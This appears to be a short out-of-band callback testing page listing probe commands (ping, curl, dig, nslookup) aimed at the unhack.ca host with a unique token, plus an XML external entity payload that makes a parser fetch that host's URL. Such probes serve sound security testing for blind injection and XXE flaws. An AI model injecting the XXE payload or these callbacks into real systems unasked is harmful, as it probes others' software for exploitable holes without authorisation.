$ ping -c1 -p 00461ff974e65b0dfbc6baa5a97a5a00 unhack.ca
 
$ curl http://unhack.ca/p/461ff974e65b0dfbc6baa5a97a5a
 
$ dig 461ff974e65b0dfbc6baa5a97a5a @unhack.ca
 
$ dig 461ff974e65b0dfbc6baa5a97a5a.ns.unhack.ca
 
C:\> nslookup 461ff974e65b0dfbc6baa5a97a5a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/461ff974e65b0dfbc6baa5a97a5a">]>
    <foo>&xxe;</foo>
Waiting for ping...